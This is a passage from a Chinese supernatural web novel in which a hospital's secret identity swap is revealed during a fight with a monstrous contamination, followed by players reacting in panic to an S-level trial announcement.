李主任早已不是年轻时头脑一热就莽撞开干的愣头青,频频示警的检测器足以说明事有蹊跷。 但他能走到这里,是花费几十年才等来的机会。凭他半截身子入土的岁数,哪里还有第二个几十年,又哪里容得下他中途反悔? 那可是前院长……是给了当时流离失所的他们一条生路的院长啊! 他们院长原本是何等风光霁月的人?品学兼优,相貌堂堂,出身名门,前途无限好。 却甘愿在灾变来临时,将逃命机会让给几位孕妇,留下来和被抛弃的老弱病残共同对抗。 他为拽住被丢下车的小孩,硬生生勒断指骨也不肯放手。 他为求到地方豪强的资助救援,不惜深入虎穴,和阴险狡诈的执政官虚与委蛇,几次半死不活,差点送命。 李主任犹然记得对方在资源紧缺几乎穷途末路的时候,依旧咬牙坚持,说:【弱小的人也好,贫困的人也好,我要让他们都有活命的机会。】 言辞凿凿,振聋发聩。 可当李主任试图去回想当年的感动时,也会忍不住想起,傅倧在医院内部会议中力排众议的坚决。 【我再说一遍,我管你们怎么想,特病补助必须开!不仅要开,医院还将开通特级贫困救援渠道,对重症患者每月发放免费的收治名额!】 【钱和设备的事情我会想办法,那些想趁机中饱私囊、贪污纳贿的狗东西,趁早滚出老子的医院!】 傅倧意图大刀阔斧整改医院的决意,不知道动了多少人的奶酪,又明里暗里得罪多少人,直接把自己推到风口浪尖的险境。 那段时间,李主任经常会被下面的人吹耳边风,希望以他为表率,联合其他主任和医师,逼迫傅倧让位。 毕竟他是全医院资历最老,也是医师群体中最德高望重的人。 只要他还没退休,就是压在众人头顶的一座山,即便其他人有上位的想法,也得老老实实地排在他之后。 于是下一次医院会议,环顾四面八方无数道心怀不轨、暗藏刀锋的目光,李主任当着所有人的面,率先站起身,对傅倧叫了一声:“院长。” 不再是满腔厌憎直呼“傅倧”,而是一声平铺直叙的敬称“院长”。 全场哗然。 包括傅倧在内,没人想到李主任会在这个时候对他表示认可。老人不做赘述的力挺表态,也让傅倧抓住机会稳固自己的权柄。 看到那些利欲熏心、尸位素餐的小人露出不敢置信的目光,被傅倧严惩治罪,李主任心中别提有多么痛快。 但想到自己居然枉顾前院长被暗害的仇恨,支持昔日的罪魁祸首,强烈的愧疚感宛如无形的大手,掐住老人的心脏,几乎让他心碎。 也是在那之后没几年时间,傅倧又做出几次雷厉风行的整改。 医院高层除了他和几名主任外,全部大换血,而傅倧也彻底坐稳院长的位置。 不知道什么时候起,当李主任再次提及前院长的名字时,身边的人会下意识露出迷茫的眼神。 “院长不是叫傅……哦哦哦!您说的是前院长?” “没错,我也记得前院长是个很了不起的人,他创建了这家医院,还有……呃……” 支支吾吾,说不出个所以然。 李主任僵住,转过头,看着那人尴尬的模样,瞳孔越张越大,心跳仿佛狠狠漏了一拍。 他忽然意识到,傅倧这几年大换血,换掉了不少以前的老人,能够记得前院长事迹的人已经所剩无几。 一朝天子一朝臣。 傅倧作为继任者,越是声名鹊起、耀眼夺目,人们就越是会忽视前人的光辉,乃至于彻底遗忘。 李主任几乎发了疯。 他想到自己对傅倧的妥协,负罪感再度如惊涛怒浪翻涌不止。 他看着自己的手,仿佛能看见沾在上面的血和泥——是他甘愿成为傅倧的帮凶,将前院长活生生埋葬在地里。 那时候傅倧还有几条非议缠身,有人说他免费收治重症,是为了拿那些病患当小白鼠,试验新药。 反正是些没权没势的贫民,即使死掉也无处伸冤。 李主任贯来对这些空穴来风的说辞嗤之以鼻。 可在当时,这些谣言成为催化剂,让他气昏了头。 他气势汹汹地去找傅倧对峙,刚巧路过正在八卦的医护人群。 那些人正谈到傅倧的上位史,话里话外满是崇敬:【据说咱们医院初期什么都没有,要不是院长背后的家族势大,实力雄厚,恐怕这家医院也兴建不起来,更不可能成为市内首屈一指的第一医院。】 【欸?不是说还有个前院长……】 【得了吧,前院长有什么丰功伟绩。提供私人卫生所?据说比公共厕所大不了多少。救助了很多人?最多几十个吧,中途还死了不少。而且要不是他谁都想救,看见一个就带回去一个,生活物资和药品也不会消耗得那么快,差点饿得大家人吃人!】 【天啊!你说真的吗?】 【真的,我爸亲口告诉我的,还能有假?他们都说前院长是个只知道读书的榆木疙瘩,人情世故完全不在行,好几次差点和资助者闹翻。所谓的第一医院创始人不过是比傅院长先发起号召罢了,什么实事都做不成,你看现在还有多少人记得前院长是谁?】 【嘶,好像是没什么印象,但我在医院的平台简介上看到过,他的名字还挺有特点的,叫什么来着?】 【不记得了。】 【没关注过。】 【以前看过,但忘了。】 【算了直接查一下,嚯,搜到了,让我看看——】 一路过五关斩六将,用警卫的身份卡过完重重安检,谢叙白终于来到李主任的面前,汗水争先恐后渗出鬓角,累得上气不接下气。 眼看老人的手即将按在操作台上,谢叙白一惊,连忙喝止:“李主任等等,别按下去!” 第74章 连自己的狗都能反咬你一口…… 一般人被叫停可能会忍不住迟疑,但李主任却是瞬间警惕。 他意识到,谢叙白能在这么短的时间内躲过安检,且顺利来到这里,绝对有阻拦自己的能力。 必须让青年离开! 李主任无意识动用诡王领域的力量,一股飓风在四面不透风的走廊中凭空生成,刮得谢叙白全身刺痛,头发和衣袖翻飞。 唯有眼镜像焊死一样在脸上佁然不动,让谢叙白的视线不会受到狂风的阻碍。 条理不紊的话,几乎从他的嘴里迸发出来:“您先听一下前院长在说什么!” 李主任猛然顿住,飓风跟着失去威力。 谢叙白当即用精神力捆住老人的两只手腕,将人一把拉开操作台的范围。 这一套动作如快刀斩乱麻般行云流水,打了李主任一个措手不及。 后者来不及恼怒,就被金色精神力笼罩全身,强行镇定下来。 谢叙白对上那双猩红瞳孔,坚持道:“您说自己能听到前院长的话,那您再仔细听一听,好吗?” 李主任的手抖着,他不知道眼前的年轻人到底是何方神圣,能够敏锐地发现自己内心的彷徨和不确定。 又或许谢叙白的眼神实在坚定,让人下意识跟着对方的步调走。 李主任真就如他所说冷静下来,也真就在他的引导下静心,去试图捕捉完整的话语。 他逐渐听清楚了。 那熟悉且亲切的精神力波动没有在呼唤谁,说的分明是—— 【……别……别过来……】 【走……!】 “李主任,您也听到了对吧。”看着老人怔愣失神的神情,谢叙白冷静道,“您既然经历过大风大浪,就应该清楚,不了解事情全貌而被冲动驱使的好心,反而有可能害了自己在乎的人。” “但是……!” 李主任终于开口,枯瘦的手指抵住额头,借此遮挡脸上的神情,话里带着极力压制的颤音:“但是,他们什么都不知道,还在那里妄加揣测……没人知道他做过什么,又牺牲了什么!” 【嘭!】 当八卦的医护人群将前院长当成笑话去搜索他的名字时,李主任脑子里名为理智的弦终于斩断,冲上去一拳砸在好事者的脸上。 后者被打飞出去,痛得七荤八素。 群众当场惊呆,不敢置信地看着突然发威的老人。 被打的人骂骂咧咧地站起来,看清楚是李主任后,也是一脸惶恐。 李主任怒火上涌,气到大脑充血,急速上涨的眼压压迫毛细血管,眼白处浮现出狰狞的红血丝。 他看着众人心惊胆战的面孔,很想不管不顾地开口怒骂。 ——如果傅倧真有你们嘴里说的那么正直良善,为什么灾害来临的前三个月,连他的人影都看不见?如果他能早点站出来,他们前院长又何至于吃那么多苦头? 但是……没有证据。 不管李主任如何搜集,只能找到只言片语的叙述。关于前院长具体做出哪些实事,就像被一层朦胧的纱窗所阻隔,感受得到,无法具体形容。 在他一个劲儿死盯着众人,却一个字都说不出来的压抑气氛下,自觉莫名挨揍的人也终于反应过来,有点压不住火气。 【李主任,我,我知道您经常会提前院长的名字,您很尊敬前院长,但也不能被私心蒙蔽自己的双眼!】 【我刚才可能说话是难听了一点,但那不是事实吗!前院长就是什么都没做成,就是不如院长!】 “不是没人知道!” 谢叙白的回答掷地有声,刹那压过回忆中的嗤笑,宛若一只无形的大手,将李主任硬生生从悲痛的情绪中拉扯出来。 青年字字铿锵:“灾害得不到有效控制,污染朝外蔓延时,上面选择武力轰炸,是前院长觐见上层竭力制止。几个豪强垄断资源,明面征集志愿者,实则将伤残人士充作诱饵,也是前院长冒着风险把他们救出来!” 李主任的背本来佝偻下去,一听这些话又瞬间抬起。 那双猩红且布满痛色的眼睛一寸寸瞪大,仿佛有浓烈的情绪即将呼之欲出。 “前院长看似斯文瘦弱,其实体质并不差,据说大学羽毛球赛还得过奖。但是在资源即将告罄的那段时间,他频频消失,一经出现必然病倒。然后,大家再次变得有吃有喝有穿。” 谢叙白言简意赅地总结:“是他单枪匹马游说豪强,虽然成功得到了资源,但也遭到了他人无法想象的刁难和磋磨!” 通过谢叙白的一言一语,老人本来模糊的记忆一点点变得清晰。 他像是走在沙漠饥渴无比的人突然遇到天降甘霖,嗓音嘶哑破音,不可思议地颤声问道:“你怎么知道?” 当然是谢叙白今天下午利用时间,努力收集来的情报。 除去吕向财,还有江家。 江家只是被清算,没有被屠尽,江欣这类没有犯下血案罪过的江家人,就好好地活了下来。 当时谢叙白留在江家,也是为了防止满腔仇恨的下人们失控,残害无辜者。 现如今那些人都搬离江家宅院,分散到各行业,和谢叙白一直保持着联系。 认知受限,他们没有过去的完整记忆。 发生过的异化灾害,在他们的印象中是战乱,或台风、地震、特级暴雨等自然灾害。 他们隐约听长辈们提起过,有一名天资聪颖、据说拿到省级科技园资格的傅家旁系子弟,抛弃大好前途,决定下基层干社区医院之类的玩意,简直脑袋进水。 心思龌龊、深陷泥沼的小人,自己过得不如意,就恨不得摧毁所有美好的事物。 而那名旁系子弟,天之骄子,面容姣好,高智商型人才,一心钻研学术研究,众人心中求而不得的白月光,简直可以称为美好的代名词。 当那人为了大家的生存资源放低姿态,低声下气地求助他人时,鬣狗们是何其的兴奋? 灌酒灌到当场呕血,被下药差点失身,被掐着脖子逼迫下跪。陪人玩带暴力性质的极限游戏,最后全身血淋淋,躺在担架上被送进医院。 ——那就是前院长。 “不管无知的人再怎么歪曲,事实就是事实,历史留有痕迹,无法被掩盖,总有人会记得前人的牺牲和功勋。” 谢叙白对上李主任颤动不止的瞳孔,温声坚定道:“就像你会记住,我也会记住,经由我们的口口相传,其他人,下一代,也会记住。” 执拗的老人怎么没有努力宣扬过前院长的事迹? 他看不惯谢叙白的理所当然,蠕动嘴唇想要反驳。 可他哆嗦着嘴唇,无法不为之触动。 “你说得对……”随着压住老人多年的心病被一点点地化解,他眼中的猩红血色也逐渐退散,呈现出显而易见的疲态。 李主任在医院的统治力,仅次于傅倧。 所以他可以抢夺傅倧的院长身份,但灵魂将要承受巨大的负荷,减寿甚至是最轻的影响。 谁想到就在这个时候,异变突起! 宛如一道雷霆划过脑海,谢叙白脑子里警铃大作,先李主任一步感受重型门后的压迫力,连忙将精神力化作防护罩挡在两人面前。 轰——! 就在防护罩刚刚凝实的刹那间,重达10吨的军用级防爆铸铁门传来不堪重负的震响。 污染值瞬间从67%拔升到79%,全走廊所有警铃齐刷刷响起,尖锐高昂,仿佛能洞穿人的耳膜! 谢叙白两人被难以承受的冲击力撞了出去。 防护罩破碎,谢叙白反应极快,散开的精神力瞬间化作柔软的护垫,护住他和李主任的脑袋,两人勉强落稳。 铸铁门破开一个大洞,尖锐的卷边沾着鲜血淋淋的肉屑。 透过洞口,能看见一团不断蠕动的“肉山”,表面是邪异不祥的黑红色,宛如喷发的岩浆,鼓动着大小不一的肉泡,噗呲一下爆开,炸出下水道般浓郁扑鼻的恶臭。 大门被破后,“肉山”似乎非常激动,想要顺势钻出来。 唰的一声。 几道散发着淡淡莹润白光的锁链,穿插在它的身上,将它死死套住。 “肉山”大力挣扎,松散的锁链瞬间绷紧,哗啦啦地响个不停。 检测器的污染值卡在79%,数字不稳晃动,几欲跳上生死线80%。 那几条润白色锁链瞬间炸开一道精神力波动,如同人在奋力嘶吼。 【走!!】 那些锁链是前院长?不,它们是实化的精神力! 谢叙白当机立断,拽着李主任就开跑,可是“肉山”的反应更快。 它的表面冒出一个手腕大的血色漩涡,不断凝结力量。 谢叙白刚刚站起身,血肉像高压水枪的子弹般冲出去,拦在眼前的锁链被冲碎,散落在空中。 谢叙白眼神一厉,金色精神力再次聚拢,形成新的防护罩。 在他的脚下,沉寂的影子开始不稳翻涌,仿佛暴风雨来临的先兆。 可是血肉即将伤害到他们的瞬间,一道高大的人影从走廊尽头闪现,挡下攻击,又被拍飞,将墙面撞出蛛网般的裂痕,重重地摔在地上。 “院长!”谢叙白看清来者是谁,急忙冲过去。 然而傅倧的状态很不对劲,他撑起身,又手软地摔下去,仿佛承受极大的痛苦,额角青筋爆开,捂着嘴巴,撕心裂肺地干呕起来。 “呕!” 先是几道清水,后是浓稠黏腻的血水。 再然后,他竟然呕出一坨还没消化的血块! 那血块比拳头还大,不停蠕动,表面长着树根般的细长触须,不断张牙舞爪。 看着这似曾相识的血肉,谢叙白全身如同浸泡在冰水中,转头看向铸铁门中的“肉山”。 ——他没有感觉错,这血块中蕴含的诡异力量,和“肉山”同源! 紧跟着谢叙白猝不及防地看见,“肉山”仿佛解开什么限制,正对大门的血肉中,隐约呈现出人类五官的轮廓。 面容端正如刀刻,棱角分明,鼻梁高挺笔直,眉眼粗犷。 ……那不就是院长的脸吗? “呕……!” 谢叙白惊诧地回头。 随着傅倧呕出血块,无形中支撑着他、又束缚着他的力量倏然消失。 他整个身体好像海绵缩水般急剧变小,容貌跟着改变。 高大的身形消失,清瘦得露出嶙峋骨感。手撑地板,骨节凸起,指尖因大力而泛白。不受控弯下去的腰板颤抖个不停,仿佛能被轻松折断。 李主任艰难撑起身子,抬起头,看见眼前这一幕,心跳仿佛骤停。 八卦好事者没有一丝敬意的调侃嬉笑,仿佛响在耳边。 【前院长的名字还挺有古风气质,叫——】 “裴玉衡。” 呕在地上的肉块忽然跳起来,像猛兽扑食,勒住“傅倧”的脖颈。 “肉山”又长出手臂,用力一挥,扯断白色锁链。 那张人脸逐渐成型,嘴巴一张一合,带着浓烈的恶意:“我亲爱的堂弟,连自己的狗都能反咬你一口,你这几十年的院长,当得也太失败了。” 第75章 【副本《请遵循设定》已生…… 被囚禁的“肉山”,其实是真正的傅倧。 而一直对外活动的“傅倧”,其实是前院长裴玉衡。 ——裴玉衡不知道采用什么手段,盗用了傅倧的容貌,并以此在外活动。所以公众认知中的现院长和前院长,其实是同一个人! 不管这个真相再怎么荒谬离奇,它就赤裸裸地摆在眼前,冲击着所有人的心脏。 裴玉衡喘不上气,伸手用力掰抓捆在脖子上的血肉。 但血肉纹丝不动,猛然收紧,将他提到半空中! 呼的一下,裴玉衡的双腿腾空,失去地面的支撑力,全身重量都悬在脆弱的脖颈上。 他痛得眼前发黑,嘴唇因缺氧而青紫,脸颊一片惨白。 视野余光还能扫见傅倧狞笑的嘴脸。 不甘、痛苦、怨恨。 所有的情绪交错跌宕,最后变成灰败的绝望,涌入裴玉衡的心头。 随着大脑的缺氧,他挣扎的幅度越来越小,眼中的光彩一点点湮灭,欲要沉入永无止境的黑暗。 千钧一发之际,李主任猝然回神,看着眼前这一幕,肝胆俱裂地吼出声:“院长!” 他的精神力是影子般的深黑,随吼声窜出,却因为力竭,发挥不出十分之一的威力。 哪怕击中血肉,也没能撼动分毫。 傅倧正准备要笑。 他没看见一道金色的精神力正隐匿气息,顺着润白锁链的掩护,来到他的身后。 啪! 精神力如雷霆刺出,傅倧的脑袋像西瓜般爆开,污黑恶臭的鲜血溅射一地。 谢叙白没来得及松口气,紧跟着呼吸一滞。 没脑袋的身体竟然没有倒下,像失去控制的机器人,摇摇晃晃,艰难站稳。 它还有知觉和意识! 但这一击不是无用功,捆住裴玉衡脖颈的血肉就受到影响,松动脱落。 “咳咳……!” 裴玉衡终于喘上一口气,下一秒从半空中跌落。 谢叙白惊得往前跨步,伸手去接他。 岂料裴玉衡人都没站稳,就朝着傅倧快速冲过去。 唰—— 润白色的精神力在裴玉衡的掌心汇集,眨眼间凝结成十几条锁链。 十几道润白的光芒纵横交错,结成密不透风的大网,以极其迅猛的姿态,将没了脑袋的傅倧重新镇压。 傅倧似乎没想到裴玉衡还有压制自己的力气,刚刚化形的嘴巴张开,发出不甘的怒吼。 “裴玉衡你这没人养的杂碎,放开——唔!” 两条白色锁链重叠在一起,贯穿他张开的嘴,硬生生把所有的吼叫给堵了回去。 纵观裴玉衡这套封印的动作,快准狠,没有一个细节是多余的,透出一股绝不容情的冰冷狠辣。 但也似乎极其耗费当事人的力气。 只听噗通一声震响,裴玉衡直接摔坐在地板上。 颤抖的手指支撑身体,却几次打滑又栽倒下去。 狼狈难堪且无力,宛如强弩之末。 “院长……”李主任不知道自己怎么开的口。 那一瞬间,他想到了很多。 想裴玉衡究竟在什么时候和傅倧交换的身份,这么做是为了什么。 想自己无数次对裴玉衡发起的刁难。 想裴玉衡这些年形单影只,孤立无援的处境。 光是想一想,李主任就要窒息。 他心跳加快,头晕眼花,连滚带爬地站起来,试图搀扶起裴玉衡。 “老李。”可在那双手伸过来之前,裴玉衡先开了口,嗓音因疲累而显得干涩沙哑,“你明天就退休吧。” 明明虚软无力,没什么气势和重音。 李主任却如遭雷劈,霎时凝固在原地。 “一群成事不足败事有余的玩意,除了添麻烦还能做什么?”裴玉衡勉强提上来两口气,背对他们哑声怒喝,“立刻滚,别让我再看见你们!” 裴玉衡的语气冰冷且嫌恶。 看起来像是他们擅闯傅倧的关押地,差点把S级污染放出去,犯下弥天大错,惹得对方震怒。 李主任是这么想到,瞬间悲痛交加,追悔莫及。 但谢叙白思绪千回百转,关注裴玉衡情况的同时,也在观察四周,注意到更多细节。 他皱眉,几乎没有犹豫地扶起脸色惨白的老人:“李主任,我们先走。” 李主任怎么肯走? 别说他心中还压着诸多不解困惑,被关押的傅倧实力莫测,明摆着对院长不怀好意,他怎么放心把院长单独留在这里! 关键时刻,谢叙白没有费时多劝,找准老人意识中的一丝漏洞,精神力顺势而下。 李主任不敢置信地看着他,先是满腔恼怒,随后变成声嘶力竭的哀求:“你在干什么?别想让我睡过去,谢余——!” 可谢叙白不为所动,加大精神力的输出。 精神力用得好,可直接作用于神经末梢,传递“深入睡眠”等信号,让人昏迷。 强到一定程度,甚至能直接控制他人的思维。 李主任照理不该这么快败下阵,但他前面消耗巨大,意识混沌,视野越来越模糊。 他睁大眼睛,眼白满是红血丝,想再看看故人昔日的模样。 却只能看见一道始终背对着他的清瘦身影,用尽全力撑起身,腰背笔直挺立,不曾回头。 ——院长一定在怪我,怪我眼瞎,没有早点认出他。 怪我犯蠢,争夺他的院长权限,害他失去力量,没能继续压制住S级污染,差点将其放跑,酿成大祸。 李主任得出结论。 痛悔的情绪犹如刀子般刮进咽喉,痛到彻骨。他最终遗憾地闭上眼。 谢叙白接住老人倒下的身体,对裴玉衡道:“那我先将李主任送去急诊部,您小心。” 裴玉衡嘴唇翕动,似乎还想说些什么,最终吞咽回去,一个字简简单单,仿佛掺着冰渣:“滚。” 青年应声。 窸窸窣窣的布料摩挲声响起,谢叙白架起了老人。 紧跟着传开一阵急躁的脚步声。 塌哒塌哒…… 空旷森冷的地下基地,那道脚步声是唯一带着鲜活气息的声音。 它冲向走廊尽头的出口,越来越远,越来越模糊,最终淹没在刺耳高亢的警铃声里。 “人都跑远了,还竖着耳朵认真听呢,一群小垃圾罢了,难道还指望他们来帮你?”嘲弄的笑声响起。 裴玉衡不过恍惚了一瞬,就让傅倧找到漏洞。 傅倧笑道:“我说,被他们发现身份互换,你是不是还有一丝高兴?” 它装腔作势,表演起裴玉衡此时的心态:“啊!战战兢兢二十多年,裴玉衡的长相和名字终于重见天日,我终于不用再顶着傅倧这副令人作呕的皮——” 噗呲。 没等它说完,裴玉衡不知道从哪儿掏出一把刀子,扎进它喋喋不休的嘴里。 鲜血四溅,讥讽的话语戛然而止,变成痛苦的惨叫:“啊啊啊啊!” 裴玉衡脸颊沾着一块黏稠的血液,但他面不改色,冷冰冰地挑起嘴唇:“‘令人作呕’,精准的形容词,你还挺有自知之明。” 肉山痛得颤抖,怒火攻心,濒临爆发的边缘。 可随即它又安静下来,皮肉外翻,滚出一颗眼珠子,直勾勾地凝视着裴玉衡。 那只黑白分明的眼珠子眯起,弯起愉悦的弧度。 任谁都能看出来,它好像在期盼着什么。 裴玉衡面上不为所动,掀起眼皮,又是一刀子捅过去。 肉山再次痛叫。 可不到一秒的时间,又一颗眼珠子翻出来。不加掩饰的恶意宛如淬毒的尖刀,将裴玉衡从头剖到尾。 裴玉衡再次提起刀子,一下下地扎过去。 他扎得极快,但眼球繁殖得更快。 最开始只有一颗,没等他扎下去,又出现第二颗,不过呼吸的功夫,又钻出来第三颗。 简直……没完没了。 眼珠子骨碌碌转动,挤挤挨挨,密密麻麻,眼白上遍布猩红的毛细血管,居高临下地欣赏着裴玉衡徒劳无功的反抗。 终于,裴玉衡的手速越来越慢,脱力般瘫软下去。 “咕。” 裴玉衡喉结一滚。 在这恶心腥臭的环境下,他饿了。 他在对眼前的肉山产生食欲。 意识到这点,裴玉衡眼中划过一抹浓郁的自厌,胃酸翻涌,想吐的欲望一阵接一阵。 谁能想到,第一医院的院长,异化后的本貌竟然是食尸鬼。 让人恶心嫌弃的腐肉烂肉,对他的身体而言,是顶级的美味。 傅倧趁机挖苦:“吃了几十年,居然还没习惯?” 不等裴玉衡回话,他得意洋洋地笑起来:“劝你早点习惯,一辈子那么长,你可是要吃到死。” 像毒蛇吐出阴冷的红信,嘶嘶嘶,发出恶毒的诅咒。 听完这句话,裴玉衡还是没忍住,腰背折下去,吐得撕心裂肺。 “呕,咳咳,咳咳咳!” 空荡荡的房间并不安静,警铃声大作,嘹亮刺耳,扰动着疲乏的神经。 检测器的表盘,79%的数字闪个不停,像短路的电视屏幕,并没有因为傅倧被制服而消停。 危机还未解除。 裴玉衡再次举起刀。 看到他这个动作,眼珠子们似乎更加兴奋,在肉山中滑腻地翻滚着,发出噗呲噗呲的水声,让人发自内心感到不适。 谢叙白将李主任交给留守在外的警卫人员,加速赶回来。 结果一个照面,他看见裴玉衡在肉山上切下一块肉,正对着,颤颤巍巍地张开嘴。 被切下的血肉活性十足,表面展开触须,虫子般扭个不停。 浓郁阴湿的腥臭味充斥室内。 裴玉衡的舌头被触须挑逗地摸了一下,瞬间双眼一睁,恶心得反射性作呕。 “呕——!” 他胃里什么都没有,吐出来的只有血水和酸水。青紫色的血管用力鼓胀,在苍白的皮肤上触目惊心。 肉山登时兴奋到激颤! 无数根触须延生出去,形成大片浓黑色的阴影,潮水般蔓延至天花板。 “快一点,快一点,吃啊,吃啊!” 裴玉衡迟滞地动了动眼珠子,僵硬地凝视面前的肉块。 警铃快要叫破天,污染值随时都会冲上80%。 到那时候,全医院的医患都会被异化,陷入狂暴状态,然后冲出医院,杀死或传染周边的居民,扰乱整个世界。 他…… 他必须赶快吃下去,不然一切将会无法挽回。 ——所以,吃吧。 裴玉衡闭上眼,缓慢张嘴。 ——二十多年都这么过来了,有什么好怕? 裴玉衡抖着手指,把肉块往嘴里塞。触须又在……动,他尽量忽略,浑浑噩噩地催眠自己。 ——把它当成生牛排,生牛排……牛肉是什么味道?记不清了。以前最喜欢吃什么?椰子、烤肉、火锅、酒心巧克力,还有……还有呢……? 啪。 裴玉衡的手腕被一只骨节分明的手掌握住,他涣散无神的瞳孔一转,看见谢叙白沉静的脸。 青年不由分说,抢走他手中不断扭动、彰显存在感的血红肉块,一下塞进肉山大开大合的嘴里。 “吃吧,吃个够。”谢叙白冷冷道。 所有眼珠子同时僵住。肉山大嘴一张,恶心得当场作呕! 裴玉衡愣了愣,陡然回神,瞪着去而复返的谢叙白,灰败的脸上重拾鲜活的色彩——被气得面红耳赤。 蠢货,你回来干什么? 你知不知道这里很危险,检测器上的污染值都标红了你没看见?! 他还来不及开口,谢叙白快言快语先抢了话头:“我知道。” “诡王的身份基于臣民的认知,因为你这些年一直用傅倧的脸行事,所以规则只认【傅倧】是现院长。” 被肉山吐到地上的那块肉,悄悄蠕动,在地板上拖出蜿蜒的水痕。 刚要跃起,故技重施捆住裴玉衡,就被金光钉在原地,绞成碎片。 谢叙白头也不回:“似乎吃掉傅倧的血肉,你就能重新变回傅倧。” “这意味着,如果你冷眼旁观,傅倧将恢复原貌,顺势拿到诡王的身份。凭你我的力量,绝对没法在诡王的地盘上压制住它。” 直击要点的解释,将裴玉衡压抑多年的痛楚抽丝剥茧地摊开。 对上谢叙白的眼睛,清亮的眼眸像一面镜子,照见他经年积压的苦和累。 无法付诸于口,竟然也能被看见,被理解。 难以压抑的酸楚翻涌在胸腔,好长时间,裴玉衡呼吸不稳,没吭声。 少顷,他喉结滚动着,终于艰难地哑声道:“既然知道,那为什么要阻止我?” 腐肉是他的食物,他得吃。 傅倧不能恢复原貌,他得吃。 不管再怎么恶心,再怎么痛苦,他得吃。 然后若无其事地换上傅倧的皮囊,将裴玉衡的名字埋入无人问津的历史。 轰隆隆—— 医院上空忽然聚齐起浓密的乌云,层层叠叠堆砌在一起,雷声震耳欲聋。 那不是普通的雷鸣,是规则在作祟。 偌大的压迫力如山呼海啸,瞬间穿透地下基地多层防护和隔音层,让两人听得清清楚楚。 裴玉衡呼吸一滞,欲要再切一块肉。 但谢叙白的手将他拽得死紧。 裴玉衡挣不开,捏着刀勃然大怒:“小兔崽子你真的——” “先让我试试。”谢叙白柔和的声线响起,竟压过隐约咆哮的雷鸣,“我不行你再吃。” “试什么?”裴玉衡心中隐约有种不祥的预感。 “如果让傅倧得不到院长身份,就能完全制服他。”谢叙白道,“那我暂任院长之职也无妨。” 裴玉衡瞬间反应过来,谢叙白这是想效仿李主任,篡夺院长职位。 如果说他和傅倧调换长相,是狸猫换太子的伎俩,那么谢叙白就是在明晃晃地篡位。 ——天坑的李安民你都教了这死孩子什么东西?? 裴玉衡双眼发黑,手脚生凉,怒目圆睁欲要呵斥谢叙白不知天高地厚。 “现在问候可能有些迟了。”谢叙白弯眸看去,两句话钉住对方,“裴叔叔,好久不见,您看起来和当年一样帅。” 听到久违的称呼,裴玉衡的眼睛睁了又睁,错失阻拦对方的最佳机会。 下一秒,谢叙白的精神力倾巢而出,如不断奔涌的金色洪流,逆着规则的威压而上,自他们所在的地点冲上云霄,正对上高空怒吼咆哮的雷海! 【叮——】 熟悉的系统机械声在无限游戏大厅响起。 【副本《请遵循设定》已生成,即将投入试炼。】 终于来了吗? 无数玩家深吸一口气。 经过连续两场A级诡王副本,他们觉得自己现在强得可怕。 来吧,通通都来吧!A级诡王副本算个蛋! 当玩家轻车熟路地翻阅副本信息,下一行猩红刺目的血字,却叫他们好不容易撑起的心理防线直接坍塌,脸色煞白,魂飞魄散。 【该场为S级诡王试炼。】 屏幕突然一闪,迸出滋啦电流声,像老电视短路。 恢复时,它弹出一行字。 【诡王数量:???】《 》 75-80 第76章 全民战线模式 玩家们瞪大眼睛,死死地凝视着面板上血淋淋的字样,越看越迷糊,像是脑袋里顷刻间发生了一场大爆炸,炸得他们头晕眼花,分不清东南西北。 “不可能。” 针落可闻的人群中,不知道是谁先开的口。 “看错了。” 有人动了动嘴唇,接下话。 “如果真的是传说中的S级副本,怎么可能用这么潦草的广播形式?特别背景呢,语音特效呢,带有恐吓性质的系统声明呢?” “对啊,堂堂S级副本,只给个通知了事,和A级诡王副本,不,比普通的A级副本还不如,肯定是系统搞错了。” “系统——!直接告诉大家你是不是中了病毒?要是的话趁早回炉重造,别他X的出来祸害人!” 无限游戏没有投诉渠道,玩家们便对天质疑大骂。 否定声连成一片,此起彼伏地回响在游戏大厅的上空。 就连平日最颓废萎靡的酒馆,也陷入一时的沉寂。 最开始,醉鬼们嘻嘻哈哈地指着公告,大笑起来,说自己喝多了眼花,竟然把A看成S。 等到所有人都这么说,他们笑脸僵住。 四仰八叉的身子猛然弹起,撞得桌椅吱吱呀呀,餐盘上的酒杯叮当响,一张张脸狼狈又呆傻。 “……不可能啊!我眼花了,一定是我眼花了,是我脑袋不够清醒!” 在酒保震惊的表情下,吧台前的人突然抓起装冰块的小钢桶,就往自己脑袋上糊。 哗啦啦—— 在寒冷的刺激下,他狠狠打了个哆嗦,脑袋上还顶着冰块。他顾不上理会,唰一下扭头,充血的眼睛红到发黑,顺着系统公告一个字一个字地看过去。 现实并没有如他所愿。 不管他怎么看,面板上都清楚地写着S级。 猩红刺目的“S级”,嘲笑着不愿接受现实的所有人,嘲笑着他。 时间一分一秒地过去,系统毫无回应。 换成往日,人们早就骂累了,悻悻恹恹地去关注各大公会和前线攻略组的情况。 然而此时此刻,那些叫骂声一点都没停下来,像煮沸的油锅,从平静到沸腾,继而彻底炸裂! 人们不敢置信、不愿相信的表情,逐渐被愤怒和崩溃所取代,嘶喊声破音。 “说话啊系统!重新发一则公告!” “恁你X的,才刚过完A级诡王就打S级诡王,开什么玩笑!?” “试炼设计绝对有问题,还说什么公平公正,这狗X养的游戏!” “谁能告诉我,为什么诡王数量后面是三个问号?意思是诡王还不止一只?我玩你X!!!” 第一场A级诡王试炼,玩家通关率不足十万分之一。第二场A级诡王试炼,资深玩家数量锐减到一千多名。 第三场A级诡王试炼,即《屠龙少年》,还能保持【4】以上首通记录的种子闯关者,直接锐减到三百多名! 在闯关者本人都不敢保证能活过下一次A级诡王试炼的前提下,系统居然发布了S级诡王试炼——动辄灭城灭国的S级诡王居然不止一只,简直就是在把所有人往绝路上逼! 否认,愤怒,祈求。 如果说,上一场副本中,谢叙白的出现、无限世界中疑似地球的建筑群、副本存在共通性的重要发现,给一片死水的玩家群体,带来了蓬勃生机。 那么系统的最新公告,就如同一场冰冷的疾风骤雨,再度把玩家们拖入灰暗破败的现实。 整个游戏大厅陷入一片前所未有的混乱,认为闯关无用的消极玩家像嗅到肉味的鬣狗,看热闹不嫌事大,趁机出来唱衰。 “都告诉你们了,这些都是系统的阴谋,挣扎和反抗是没有用的。说不定你挣扎得越用力,系统和那些所谓的幕后主使,在背后看得越来劲儿。” “对啊,不如像我们一样,早点躺平,什么罪都不用受,也不会让系统看笑话。” 三言两语,足够击溃人的信心。 在所有对赎回地球抱有希望的玩家,都以为这已经荒谬到极致,足以把他们压垮的时候。 叮。 一则新的系统公告。 